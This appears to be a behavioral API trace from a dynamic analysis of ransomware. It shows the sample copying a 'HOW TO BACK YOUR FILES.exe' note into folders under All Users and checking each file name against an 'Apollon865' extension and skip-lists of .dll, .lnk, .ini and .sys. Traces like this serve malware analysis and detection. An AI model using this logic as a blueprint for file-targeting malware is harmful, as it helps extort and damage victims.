	[0039.123] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Mozilla" | out: lpString1="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla"
	[0039.123] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.127] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.127] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.127] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.127] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.127] lstrcpyW (in: lpString1=0x2d3e586, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0039.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0039.127] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b6358
	[0039.127] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0039.127] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
	[0039.127] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.127] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0039.128] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Mozilla\\logs", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Mozilla\\logs") returned="C:\\Users\\All Users\\Mozilla\\logs"
	[0039.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6358 | out: hHeap=0x580000) returned 1
	[0039.128] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0039.128] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla\\logs") returned 31
	[0039.128] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Mozilla\\logs" | out: lpString1="C:\\Users\\All Users\\Mozilla\\logs") returned="C:\\Users\\All Users\\Mozilla\\logs"
	[0039.128] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.128] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.132] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.132] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.132] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.133] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.133] lstrcpyW (in: lpString1=0x2d3e590, lpString2="maintenanceservice-install.log" | out: lpString1="maintenanceservice-install.log") returned="maintenanceservice-install.log"
	[0039.133] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0039.133] lstrlenW (lpString="Apollon865") returned 10
	[0039.133] lstrcmpiW (lpString1="nstall.log", lpString2="Apollon865") returned 1
	[0039.133] lstrlenW (lpString=".dll") returned 4
	[0039.133] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".dll") returned 1
	[0039.133] lstrlenW (lpString=".lnk") returned 4
	[0039.133] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".lnk") returned 1
	[0039.133] lstrlenW (lpString=".ini") returned 4
	[0039.133] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".ini") returned 1
	[0039.133] lstrlenW (lpString=".sys") returned 4
	[0039.133] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".sys") returned 1
	[0039.133] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0039.133] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft Help", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help"
	[0039.133] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0039.133] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0039.133] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help") returned 33
	[0039.133] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft Help" | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help"
	[0039.133] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.133] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.142] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.142] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.142] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.142] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.143] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Hx.hxn" | out: lpString1="Hx.hxn") returned="Hx.hxn"
	[0039.143] lstrlenW (lpString="Hx.hxn") returned 6
	[0039.143] lstrlenW (lpString="Apollon865") returned 10
	[0039.143] lstrlenW (lpString=".dll") returned 4
	[0039.143] lstrcmpiW (lpString1="Hx.hxn", lpString2=".dll") returned 1
	[0039.143] lstrlenW (lpString=".lnk") returned 4
	[0039.143] lstrcmpiW (lpString1="Hx.hxn", lpString2=".lnk") returned 1
	[0039.143] lstrlenW (lpString=".ini") returned 4
	[0039.143] lstrcmpiW (lpString1="Hx.hxn", lpString2=".ini") returned 1
	[0039.143] lstrlenW (lpString=".sys") returned 4
	[0039.143] lstrcmpiW (lpString1="Hx.hxn", lpString2=".sys") returned 1
	[0039.143] lstrlenW (lpString="Hx.hxn") returned 6
	[0039.143] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.EXCEL.14.1033.hxn" | out: lpString1="MS.EXCEL.14.1033.hxn") returned="MS.EXCEL.14.1033.hxn"
	[0039.143] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0039.143] lstrlenW (lpString="Apollon865") returned 10
	[0039.143] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.143] lstrlenW (lpString=".dll") returned 4
	[0039.143] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".dll") returned 1
	[0039.143] lstrlenW (lpString=".lnk") returned 4
	[0039.143] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.143] lstrlenW (lpString=".ini") returned 4
	[0039.143] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".ini") returned 1
	[0039.143] lstrlenW (lpString=".sys") returned 4
	[0039.143] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".sys") returned 1
	[0039.143] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0039.144] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.EXCEL.DEV.14.1033.hxn" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn") returned="MS.EXCEL.DEV.14.1033.hxn"
	[0039.144] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0039.144] lstrlenW (lpString="Apollon865") returned 10
	[0039.144] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.144] lstrlenW (lpString=".dll") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.144] lstrlenW (lpString=".lnk") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.144] lstrlenW (lpString=".ini") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.144] lstrlenW (lpString=".sys") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.144] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0039.144] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.GRAPH.14.1033.hxn" | out: lpString1="MS.GRAPH.14.1033.hxn") returned="MS.GRAPH.14.1033.hxn"
	[0039.144] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0039.144] lstrlenW (lpString="Apollon865") returned 10
	[0039.144] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.144] lstrlenW (lpString=".dll") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".dll") returned 1
	[0039.144] lstrlenW (lpString=".lnk") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.144] lstrlenW (lpString=".ini") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".ini") returned 1
	[0039.144] lstrlenW (lpString=".sys") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".sys") returned 1
	[0039.144] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0039.144] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.GROOVE.14.1033.hxn" | out: lpString1="MS.GROOVE.14.1033.hxn") returned="MS.GROOVE.14.1033.hxn"
	[0039.144] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0039.144] lstrlenW (lpString="Apollon865") returned 10
	[0039.144] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.144] lstrlenW (lpString=".dll") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".dll") returned 1
	[0039.144] lstrlenW (lpString=".lnk") returned 4
	[0039.144] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.144] lstrlenW (lpString=".ini") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".ini") returned 1
	[0039.145] lstrlenW (lpString=".sys") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".sys") returned 1
	[0039.145] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0039.145] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.INFOPATH.14.1033.hxn" | out: lpString1="MS.INFOPATH.14.1033.hxn") returned="MS.INFOPATH.14.1033.hxn"
	[0039.145] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0039.145] lstrlenW (lpString="Apollon865") returned 10
	[0039.145] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.145] lstrlenW (lpString=".dll") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".dll") returned 1
	[0039.145] lstrlenW (lpString=".lnk") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.145] lstrlenW (lpString=".ini") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".ini") returned 1
	[0039.145] lstrlenW (lpString=".sys") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2=".sys") returned 1
	[0039.145] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23
	[0039.145] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.INFOPATHEDITOR.14.1033.hxn" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn") returned="MS.INFOPATHEDITOR.14.1033.hxn"
	[0039.145] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0039.145] lstrlenW (lpString="Apollon865") returned 10
	[0039.145] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.145] lstrlenW (lpString=".dll") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".dll") returned 1
	[0039.145] lstrlenW (lpString=".lnk") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.145] lstrlenW (lpString=".ini") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".ini") returned 1
	[0039.145] lstrlenW (lpString=".sys") returned 4
	[0039.145] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".sys") returned 1
	[0039.145] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0039.145] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSACCESS.14.1033.hxn" | out: lpString1="MS.MSACCESS.14.1033.hxn") returned="MS.MSACCESS.14.1033.hxn"
	[0039.145] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0039.145] lstrlenW (lpString="Apollon865") returned 10
	[0039.146] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.146] lstrlenW (lpString=".dll") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".dll") returned 1
	[0039.146] lstrlenW (lpString=".lnk") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.146] lstrlenW (lpString=".ini") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".ini") returned 1
	[0039.146] lstrlenW (lpString=".sys") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2=".sys") returned 1
	[0039.146] lstrlenW (lpString="MS.MSACCESS.14.1033.hxn") returned 23
	[0039.146] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSACCESS.DEV.14.1033.hxn" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn") returned="MS.MSACCESS.DEV.14.1033.hxn"
	[0039.146] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0039.146] lstrlenW (lpString="Apollon865") returned 10
	[0039.146] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.146] lstrlenW (lpString=".dll") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.146] lstrlenW (lpString=".lnk") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.146] lstrlenW (lpString=".ini") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.146] lstrlenW (lpString=".sys") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.146] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0039.146] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSOUC.14.1033.hxn" | out: lpString1="MS.MSOUC.14.1033.hxn") returned="MS.MSOUC.14.1033.hxn"
	[0039.146] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0039.146] lstrlenW (lpString="Apollon865") returned 10
	[0039.146] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.146] lstrlenW (lpString=".dll") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".dll") returned 1
	[0039.146] lstrlenW (lpString=".lnk") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.146] lstrlenW (lpString=".ini") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".ini") returned 1
	[0039.146] lstrlenW (lpString=".sys") returned 4
	[0039.146] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".sys") returned 1
	[0039.147] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0039.147] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSPUB.14.1033.hxn" | out: lpString1="MS.MSPUB.14.1033.hxn") returned="MS.MSPUB.14.1033.hxn"
	[0039.147] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0039.147] lstrlenW (lpString="Apollon865") returned 10
	[0039.147] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.147] lstrlenW (lpString=".dll") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".dll") returned 1
	[0039.147] lstrlenW (lpString=".lnk") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.147] lstrlenW (lpString=".ini") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".ini") returned 1
	[0039.147] lstrlenW (lpString=".sys") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".sys") returned 1
	[0039.147] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0039.147] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSPUB.DEV.14.1033.hxn" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn") returned="MS.MSPUB.DEV.14.1033.hxn"
	[0039.147] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0039.147] lstrlenW (lpString="Apollon865") returned 10
	[0039.147] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.147] lstrlenW (lpString=".dll") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.147] lstrlenW (lpString=".lnk") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.147] lstrlenW (lpString=".ini") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.147] lstrlenW (lpString=".sys") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.147] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0039.147] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.MSTORE.14.1033.hxn" | out: lpString1="MS.MSTORE.14.1033.hxn") returned="MS.MSTORE.14.1033.hxn"
	[0039.147] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0039.147] lstrlenW (lpString="Apollon865") returned 10
	[0039.147] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.147] lstrlenW (lpString=".dll") returned 4
	[0039.147] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".dll") returned 1
	[0039.147] lstrlenW (lpString=".lnk") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.148] lstrlenW (lpString=".ini") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".ini") returned 1
	[0039.148] lstrlenW (lpString=".sys") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".sys") returned 1
	[0039.148] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0039.148] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.OIS.14.1033.hxn" | out: lpString1="MS.OIS.14.1033.hxn") returned="MS.OIS.14.1033.hxn"
	[0039.148] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0039.148] lstrlenW (lpString="Apollon865") returned 10
	[0039.148] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.148] lstrlenW (lpString=".dll") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".dll") returned 1
	[0039.148] lstrlenW (lpString=".lnk") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.148] lstrlenW (lpString=".ini") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".ini") returned 1
	[0039.148] lstrlenW (lpString=".sys") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.OIS.14.1033.hxn", lpString2=".sys") returned 1
	[0039.148] lstrlenW (lpString="MS.OIS.14.1033.hxn") returned 18
	[0039.148] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.ONENOTE.14.1033.hxn" | out: lpString1="MS.ONENOTE.14.1033.hxn") returned="MS.ONENOTE.14.1033.hxn"
	[0039.148] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0039.148] lstrlenW (lpString="Apollon865") returned 10
	[0039.148] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.148] lstrlenW (lpString=".dll") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".dll") returned 1
	[0039.148] lstrlenW (lpString=".lnk") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.148] lstrlenW (lpString=".ini") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".ini") returned 1
	[0039.148] lstrlenW (lpString=".sys") returned 4
	[0039.148] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".sys") returned 1
	[0039.148] lstrlenW (lpString="MS.ONENOTE.14.1033.hxn") returned 22
	[0039.148] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.OUTLOOK.14.1033.hxn" | out: lpString1="MS.OUTLOOK.14.1033.hxn") returned="MS.OUTLOOK.14.1033.hxn"
	[0039.148] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0039.149] lstrlenW (lpString="Apollon865") returned 10
	[0039.149] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.149] lstrlenW (lpString=".dll") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".dll") returned 1
	[0039.149] lstrlenW (lpString=".lnk") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.149] lstrlenW (lpString=".ini") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".ini") returned 1
	[0039.149] lstrlenW (lpString=".sys") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".sys") returned 1
	[0039.149] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0039.149] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.OUTLOOK.DEV.14.1033.hxn" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn") returned="MS.OUTLOOK.DEV.14.1033.hxn"
	[0039.149] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0039.149] lstrlenW (lpString="Apollon865") returned 10
	[0039.149] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.149] lstrlenW (lpString=".dll") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0039.149] lstrlenW (lpString=".lnk") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.149] lstrlenW (lpString=".ini") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0039.149] lstrlenW (lpString=".sys") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0039.149] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26
	[0039.149] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MS.POWERPNT.14.1033.hxn" | out: lpString1="MS.POWERPNT.14.1033.hxn") returned="MS.POWERPNT.14.1033.hxn"
	[0039.149] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
	[0039.149] lstrlenW (lpString="Apollon865") returned 10
	[0039.149] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0039.149] lstrlenW (lpString=".dll") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".dll") returned 1
	[0039.149] lstrlenW (lpString=".lnk") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".lnk") returned 1
	[0039.149] lstrlenW (lpString=".ini") returned 4
	[0039.149] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".ini") returned 1
	[0039.149] lstrlenW (lpString=".sys") returned 4
	[0039.150] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".sys") returned 1
	[0039.150] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23
